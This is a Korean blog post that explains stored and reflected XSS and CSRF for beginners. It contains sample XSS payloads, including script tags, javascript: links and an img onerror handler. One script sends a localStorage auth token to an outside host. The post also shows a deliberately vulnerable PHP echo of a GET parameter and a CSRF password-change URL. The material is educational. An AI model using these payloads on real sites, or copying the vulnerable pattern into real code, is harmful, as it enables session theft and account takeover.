Nextjs API Routes를 통해 API 서버로 파일 보내기
웹 취약점 공격 방법인 XSS, CSRF에 대하여 간단하게 알아보기
2021-03-04
Explanation
오랜만에 포스팅!
이번 글은 아주 유명한, 웹 취약점 공격 방법인 XSS(Cross-Site Scripting)와 CSRF(Cross-Site Request Forgery)에 대해 간단하게 정리해보려 합니다.
XSS는 아주아주 간단하게 이야기하면, 다른 웹 사이트에 임의의 스크립트를 삽입해서 공격하는 방법입니다.
역시 아주아주 간단한 예를 들면,
내가 아주아주 보안에 취약하게 게시판을 만들었다고 가정을 하고, 게시물에 나쁜놈이 내가 게시판을 보안에 취약하게 만든 걸 알고 게시물에 스크립트를 넣어서 저장한 거에요. 예를 들면 게시판에 내용에 아래와 같이 스크립트를 넣었다고 가정해 봅시다.
1 2 3 4 |
// 게시물 내용 <script> window.location.href = 'https://falsy.me'; </script> |
저렇게 게시판에 내용에 스크립트를 떡하니 해놓고 등록을 하면, 누군가 저 게시물을 눌러서 들어오면 자동으로 페이지가 저의 블로그로 이동하겠죠?
개이득
대충 이렇게 공격하려는 사이트에 스크립트를 넣어서 공격하는 걸 XSS 공격이라고 해요.
위에서 말한 간단한 예 같은 경우에는 게시물에, 그러니까 서버에 또는 DB에 저장되겠죠? 이렇게 서버나 DB에 저장이 되서 지속적으로 스크립트가 실행되어 공격하는 방법을 Stored XSS라고 합니다.
Stored XSS에 대해서 조금만 더 이야기해보자면,
사실 간단하게 생각하면, 저런 문제가 있으니까 게시물 컨텐츠에 ‘<script>’를 못쓰게 하면 되겠네.
이렇게 생각하겠죠? 그래서 조금 더 머리를 쓰면
1 2 |
// 게시물 내용 <a href="javascript:window.location.href='https://falsy.me'">링크</a> |
좀 예시가 이상하긴 한데… 이렇게 a 태그에 href 값에 javascript: 로 스크립트를 실행할 수 도 있고
1 2 |
// 게시물 내용 <img src="#" onerror="window.location.href='https://falsy.me'" /> |
이렇게 img 태그에 onerror 와 같은 이벤트에 스크립트를 등록하는 방법 등이 있답니다.
이 밖에도 더 많은 방법들이 있는데, 자세한 내용은 나무 위키 글을 한번 읽어보시면 좋을 거 같아요.
https://namu.wiki/w/XSS
이렇게 나무위키 보라고 할 거면 이 포스팅이 뭔 의미가 있냐? 라고 생각하실 수 있습니다.
이런 생각을 하셨다면, 당신은 크게 되실 분이군요. (뼈가 아팠습니다…)
처음에 예시를 간단하게 location.href 를 사용해서 페이지를 이동시켰는데, 조금 더 그럴싸한 예를 들어보면
만약에 대상의 사이트가 인증 토큰을 localStorage에 token이라는 키값으로 보관한다고 가정했을때.
1 2 3 4 5 6 7 |
// 게시물 내용 <script> const token = window.localStorage.getItem('token'); const httpRequest = new XMLHttpRequest(); httpRequest.open('GET', `https://falsy.me/hacking/${token}`); httpRequest.send(null); </script> |
이렇게 스크립트를 넣으면, 사용자의 인증 토큰을 받아올 수 있겠죠?
비슷하게 인증 토큰을 httpOnly가 아닌 상태로 쿠키에 저장한다면 동일하게 토큰을 탈취할 수 있을거에요.
그러니까, 만약에 사용자 인증 토큰과 같은 중요한 정보를 Web Storage나 httpOnly가 아닌 쿠키에 보관해야만 한다면, XSS 공격에 충분히 방비해야 한답니다.
아까 잠시, 위와 같은 공격을 Stored XSS 공격이라고 한다고 했었죠?
그리고 다른 또 하나의 공격 방법으로 Reflected XSS가 있답니다.
요즘은 브라우저가 많이 차단해주기 때문에 공격이 쉽지는 않지만 짧게나마 함께 알아보고 넘어가자면,
다시 예를 들어, 만약에 https://falsy.me/index.php?name=falsy라는 요청에 응답 코드가.
1 2 3 |
// index.php $name = $_GET['name'] echo '어서오세요 $name님' |
위와 같이 되어 있다면.
1 |
https://falsy.me/index.php?name=<script>window.location.href="https://falsy.me"</script> |
이렇게 요청을 보내면 서버 사이드에서 스크립트 코드가 입력이 되고, 브라우저가 이를 해독하면서 스크립트가 실행이 되어서 페이지가 falsy.me로 이동하게 되겠죠?
이렇게 서버에 저장하지 않고, 보통 URL 파라미터에 스크립트를 넣어서 공격하는 방식을 Reflected XSS이라고 말합니다.
사이트 간 요청 위조 공격은… 브라우저가 웹 사이트의 사용자를 신용하고 있는 상태를 이용한 공격을 이야기 하는데요.
역시 간단하게 예를 들면, 제가 관리자인 https://falsy.me 라는 사이트가 있고, falsy.me는 쿠키로 사용자 인증을 하고 있고 저는 로그인이 되어 있다고 했을때, 그리고 사용자의 비밀번호를 변경하는 api가 ‘https://falsy.me/user?id=…&pw=…’ 이러한 형태로 되어 있을때.
너무.. 가정이 많긴 한데…
amtn, 위와 같은 상황일때.
누군가 저에게 이메일로, XSS 형태로 https://falsy.me/user?id=admun&pw=1234 를 요청하게 하게하면!
저는 falsy.me라는 웹 사이트에 관리자로 로그인 되어 있기 때문에, 관리자의 비밀번호가 변경하게 된답니다.
아주아주 간단하게 둘의 차이를 요약하면, XSS는 클라이언트 단에서의 공격이고 CSRF는 서버단의 공격이랍니다.
그리고 XSS는 사이트에 악성 스크립트를 심어서 동작하고 CSRF는 사용자를 브라우저가 신뢰하고 있음을 이용한 공격입니다.
간단한 내용인데, 오랜만에 포스팅이라 그런지 쉽지 않네요.
글이 뒤로 갈수록 급속도로 힘이 빠지는 느낌이 들지만, 시간이 늦은 관계로 오늘은 여기까지…